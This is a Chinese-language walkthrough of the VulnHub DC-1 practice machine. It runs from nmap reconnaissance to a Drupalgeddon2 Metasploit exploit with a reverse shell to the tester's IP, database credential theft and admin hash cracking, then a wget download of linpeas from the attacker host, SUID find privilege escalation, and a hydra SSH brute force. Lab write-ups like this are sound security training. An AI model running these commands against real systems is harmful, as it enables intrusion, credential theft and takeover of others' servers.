VulnHub DC-1 靶机渗透测试笔记
🛡️ VulnHub DC-1 靶机渗透测试笔记
靶机信息
- 靶机名称:DC-1
- 靶机来源:VulnHub
- 目标:获取所有 flag,最终提权至 root
- 难度:⭐⭐☆☆☆(入门级)
- 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破
🔍 一、信息收集
1.1 主机发现
先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机:
nmap -sn 192.168.67.0/24

扫描结果中发现目标 IP 为 192.168.67.131。

1.2 端口与服务扫描
对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息:
nmap -A -T4 192.168.67.131
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7
111/tcp open rpcbind 2-4 (RPC #100000)

扫描结果分析:
| 端口 | 服务 | 关键信息 |
|---|---|---|
| 22 | SSH | OpenSSH 6.0p1,版本较老 |
| 80 | HTTP | Drupal 7,Apache 2.2.22 |
| 111 | RPC | 基本无利用价值 |
💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。
💥 二、漏洞利用
2.1 搜索 Drupal 漏洞
使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞:
searchsploit drupal 7

发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。
2.2 使用 Metasploit 利用漏洞
启动 Metasploit 框架:
msfconsole
搜索并加载 Drupalgeddon2 模块:
search Drupalgeddon
use exploit/unix/webapp/drupal_drupalgeddon2

查看模块参数配置(Required: yes 为必填项):
show options

配置目标和本机 IP:
set RHOSTS 192.168.67.131
set LHOST 192.168.67.128
set LPORT 4444

执行攻击:
run
成功获取 Meterpreter shell,进入交互式终端:
shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看当前权限:
whoami # www-data
id
uname -a # Linux DC-1 3.2.0-6-486

⚠️ 当前为 www-data 权限,需要进一步提权。
🚩 三、寻找 Flag
3.1 Flag 1
查看当前目录文件,发现 flag1.txt:

Every good CMS needs a config file - and so do you.
💡 提示:去找 CMS 的配置文件。
3.2 Flag 2 —— 数据库配置文件
Drupal 的配置文件路径为:
cat /var/www/drupal/sites/default/settings.php


在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2:

数据库凭据:
dbuser / R0ck3t
尝试用 Navicat 外连失败(目标不允许外部连接):

改为在 shell 中本地连接 MySQL:
mysql -udbuser -pR0ck3t

查看数据库,进入 drupaldb:
show databases;
use drupaldb;
show tables;


查看 users 表结构:
desc users;

提取用户名和密码 hash:
select name,pass from users;

3.3 破解管理员密码
密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解:
- cmd5.com(需付费)
- hashes.com(免费)

破解结果:
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t
🔑 管理员账号:
admin / 53cr3t
3.4 Flag 3 —— Drupal 后台
使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login

在后台内容中发现 Flag 3:


💡 提示:去找
/etc/passwd文件。
3.5 Flag 4 —— 系统用户信息
在 MSF shell 中查看 /etc/passwd:

发现系统存在 flag4 用户:
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

进入 /home/flag4 目录,查看 flag4 内容:
cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
💡 提示:在 root 目录中还有最终 flag,需要提权。

⬆️ 四、权限提升
4.1 信息收集
笔记里的提权方式有很多

查看内核版本:

尝试使用 MSF 自动检测提权方案:
run post/multi/recon/local_exploit_suggester

未找到可用的提权建议,换手动方式。
4.2 使用 LinPEAS 自动枚举
靶机无法访问外网,通过 Kali 中转传输文件。
在 Kali 上开启 HTTP 服务:
python3 -m http.server 8888

在靶机 shell 中下载 linpeas.sh:
wget http://192.168.67.128:8888/linpeas.sh


确认下载成功后执行:
chmod +x linpeas.sh
./linpeas.sh

LinPEAS 输出结果中发现 find 命令具有 SUID 权限:



4.3 SUID 提权(find 命令)
访问 GTFOBins 查询 find 的 SUID 利用方式:


执行提权命令(注意需要使用 -p 参数保留 SUID 权限):
find . -exec /bin/bash -p \; -quit
成功获取 root 权限,找到最终 flag:

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
🔑 五、扩展:SSH 爆破登录
除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。
使用 hydra 爆破 SSH(用的是john的字典):
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131

成功获取密码:flag4 / orange
ssh flag4@192.168.67.131
# 密码:orange

💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。
📋 六、渗透流程总结
信息收集(nmap)
↓
发现 Drupal 7 → Drupalgeddon2(CVE-2018-7600)
↓
Metasploit 获取 www-data shell
↓
读取 settings.php → 数据库凭据 → 破解管理员 hash
↓
登录 Drupal 后台 → Flag 3
↓
查看 /etc/passwd → 发现 flag4 用户
↓
LinPEAS 枚举 → 发现 find SUID
↓
SUID find 提权 → root → 最终 Flag ✅
🛠️ 七、涉及工具汇总
| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务识别 |
| searchsploit | 本地漏洞库搜索 |
| Metasploit | 漏洞利用框架 |
| MySQL CLI | 数据库查询 |
| LinPEAS | Linux 提权信息收集 |
| GTFOBins | SUID/sudo 利用查询 |
| Hydra | SSH 密码爆破 |
| hashes.com | 在线 hash 破解 |
📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。

浙公网安备 33010602011771号